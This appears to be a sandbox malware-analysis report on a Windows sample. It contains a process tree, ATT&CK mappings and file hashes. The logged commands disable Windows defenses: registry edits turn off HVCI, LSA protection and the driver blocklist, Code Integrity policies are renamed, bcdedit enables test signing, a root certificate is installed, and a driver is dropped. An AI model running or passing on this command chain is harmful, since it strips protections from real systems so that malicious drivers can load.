  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5644
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5184
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5912
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4728
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:912
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5376
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
    3⤵
    - Boot or Logon Autostart Execution: LSASS Driver
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2416
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2376
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5872
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3288
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
    3⤵
    - Modify Registry: Disable Windows Driver Blocklist
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1296
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3404
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240723828.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240723828.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5368
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c for %f in (C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240723828
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5900
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c for %f in (C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240723828
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:636
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c if exist C:\Windows\System32\CodeIntegrity\SIPolicy.p7b ren C:\Windows\System32\CodeIntegrity\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240723828
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c if exist C:\Windows\System32\CodeIntegrity\SIPolicy.p7b ren C:\Windows\System32\CodeIntegrity\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240723828
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5208
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\mountvol.exe X: /s
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\system32\mountvol.exe
    C:\Windows\Sysnative\mountvol.exe X: /s
    3⤵
    PID:3268
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c for %f in (X:\EFI\Microsoft\Boot\CIPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240723828
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c for %f in (X:\EFI\Microsoft\Boot\CIPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240723828
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3216
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c if exist X:\EFI\Microsoft\Boot\SIPolicy.p7b ren X:\EFI\Microsoft\Boot\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240723828
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c if exist X:\EFI\Microsoft\Boot\SIPolicy.p7b ren X:\EFI\Microsoft\Boot\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240723828
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5760
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\mountvol.exe X: /d
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\system32\mountvol.exe
    C:\Windows\Sysnative\mountvol.exe X: /d
    3⤵
    - Enumerates connected drives
    PID:1484
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\WdKtBackup /v LastRenameSuffix /t REG_SZ /d ".bak.wdkt.240723828" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4340
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\WdKtBackup /v LastRenameSuffix /t REG_SZ /d ".bak.wdkt.240723828" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5804
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6132
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2976
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set testsigning on
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5096
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240726062_92951.cer"
  2⤵
  - Installs a root certificate to the trusted certificate store
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5784
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240726062_92951.cer"
    3⤵
    - Installs a root certificate to the trusted certificate store
    PID:6004
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240726062_92951.cer"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:992
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240726062_92951.cer"
    3⤵
    - Manipulates Digital Signatures
    PID:2896
- C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
  "C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe" -apply
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:704
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5960
- - C:\Windows\system32\shutdown.exe
    C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5092

C:\Windows\Temp\longdiequdong1.sys
C:\Windows\Temp\longdiequdong1.sys
1⤵
- Executes dropped EXE
PID:2820

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39d2055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:1508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

SignGuiPatcher.exe

Path C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
Size 27KB
SHA256 32fc89230f272a47c702b366f4cdba6c37a9bf4a323ab69d8b96effb9809d416
MD5 bf3bab59d74bf6244dbdde2eab294801
SHA1 59419491b377aa43a8ee7333d1599ff9fb6ae104
SHA512 ae9718a73d92778b06988afc95f6ff8a9b002bed543f4da8ab7857c31e520401bd346a31e993155ea808fc8a7d7e4469cabd2285f107924b80205da92df60061
SSDEEP 384:DPysd9jpAZsQ+lNyvo3ugNoovS5uZYreLe+GzXcN7bA4//cuJXp1:DBjpC+QovSKE2Y4/keXb
TLSH
T1ECC20A5AA2F405DAF532A171D9B67326F036F518183147DF83620A5E0F72AC0BB35BAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bl_240713093_57822.bat

Path C:\Users\Admin\AppData\Local\Temp\_bl_240713093_57822.bat
Size 173B
SHA256 caf8d329e7b8b2269a33fe7d078baf849b15adaaa6caf6f6db4ad6bd8a176ece
MD5 c7aa9a25b0dfe7970ff5e63bc90ea083
SHA1 0349db89152068213a734200088069d6cb652e02
SHA512 00c2b311fa1d1429c8e30b3e4a6083baa4f09c67e2141503b3af704424509c2fa0cb8dcd17ef89401d39ded0f66b7a73ed03e29f2792a37a0aaf285c37408b9a
TLSH
T14CC0C0432380CCDD4006A00BA077C04434F34DC72EC03AA0075584F89C508C5FE0A207
MD5 SHA1 SHA512 TLSH

Submit Download

_bl_240713093_57822.txt

Path C:\Users\Admin\AppData\Local\Temp\_bl_240713093_57822.txt
Size 5B
SHA256 b6626dde5feadbb3302a67528088e8f7cf8536de683f152639d3727ac4b24b3a
MD5 a77299bfbf6fc09712da498c168f9e71
SHA1 347ea3c48644143aaf8b8fce49bc8ba817cf953f
SHA512 d803f52c41a271efc811861ae0848a7a892455fb97997cc97503bcedd7ffbb94858e43978cfca0bebf6f0003825079237d465e67e4d905343573913bff22e487
MD5 SHA1 SHA512

Submit Download

_vv_240723828.bat

Path C:\Users\Admin\AppData\Local\Temp\_vv_240723828.bat
Size 71B
SHA256 d58a5f9b7215b836bc7aa8a832b73acd2c088006047ddfa53b7293cf9b06d835
MD5 ef30efad4bfa5cec8459d0d62352ccd3
SHA1 23ef25a3e96c0cc035a978ad5f0ca64667f01f55
SHA512 5cbb831ce1308ce64b6914ff83747e0355819645d25f68c5e780c3034691ec0a80e7767f5cef490676c7abbfe2ea8f52423411070844197dc3e930646ca56d7c
TLSH
T128A0220280CACB8E8808003382F3C08CF0A2088B3A80AB008B82C0C8888000CEF8B303
MD5 SHA1 SHA512 TLSH

Submit Download

_vv_240723828.txt

Path C:\Users\Admin\AppData\Local\Temp\_vv_240723828.txt
Size 47B
SHA256 3827cbd05a50743b57acddb70bbeb3c2118eb07e528c8d6e9449ae18553e41fa
MD5 99746df3450c18c32b6e617f2d27f934
SHA1 4bde2cc83326ad3386b0dfaea363304a52da5dd0
SHA512 048367c362a8e45154fca1da91c9561fd04b04d96f02b2bff3ed45385350fa591d3913dfd771cec4e277ea071267cf95c612382fea94decfa3803b5eca275307
MD5 SHA1 SHA512

Submit Download

_wdkt_240726062_92951.cer

Path C:\Users\Admin\AppData\Local\Temp\_wdkt_240726062_92951.cer
Size 792B
SHA256 4ba1a74c97dbbaba1d4b4119d41f5c764791cd568a3c7f6f20a98cdae36fddb6
MD5 f86961a3e60a0c917b1eee487922e374
SHA1 43dbb0d8926febc69b7663673161bc063ed10e04
SHA512 bcc3ea7c9cee6ce3322ebe6b443760a180bf28ed6c3ee1622f94714622d78d72de98b684e1f2f7b50993940ebc1a9cae797672c09b80faeda9d8c256cf413a4f
TLSH
T11F01757D256FB2855D5705505389E70E6872EAC445D14E3ADA3F4054C4C7981EF2F216
MD5 SHA1 SHA512 TLSH

Submit Download

longdiequdong1.sys

Path C:\Windows\Temp\longdiequdong1.sys
Size 459KB
SHA256 c49756369aaf475e649c8c6700f75ac789c19ba479c42dc1e812e108a6446f1e
MD5 17931738f77368a96a6ac26f2a8a4473
SHA1 9ca05709a5bc01c2e51dc7bef14d0f5e53c6023d
SHA512 c1830420f5407baf8d96817f3cb6db7fa50c29905dc91d5535a747d7b207daa755e671aaf2a4b494cba75789e4a3edbf676b288269591f6dc02396607101f8b5
SSDEEP 6144:f6pHp2kyXnUePaeE8+6SKyRXCc8c02DKBDauEEXu1u+Ae6jh6hiEsK8aQ:f2KXUeFEiSKf2DKBDauLNNj4hiEq
TLSH
T19DA45C41E3A516E0E2B2D4788527A327D6F27C281B16D7DF85A0C9662F27BD0ED39F01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3672-11-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-0-0x0000000002770000-0x000000000279B000-memory.dmp

Download

memory/3672-18-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-19-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-20-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-21-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-22-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-13-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-12-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-27-0x0000000002770000-0x000000000279B000-memory.dmp

Download

memory/3672-28-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-3-0x000000000051D000-0x000000000051E000-memory.dmp

Download

memory/3672-1-0x0000000002770000-0x000000000279B000-memory.dmp

Download

memory/3672-39-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-41-0x0000000000400000-0x000000000071C000-memory.dmp

Download

memory/3672-42-0x0000000002770000-0x000000000279B000-memory.dmp

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads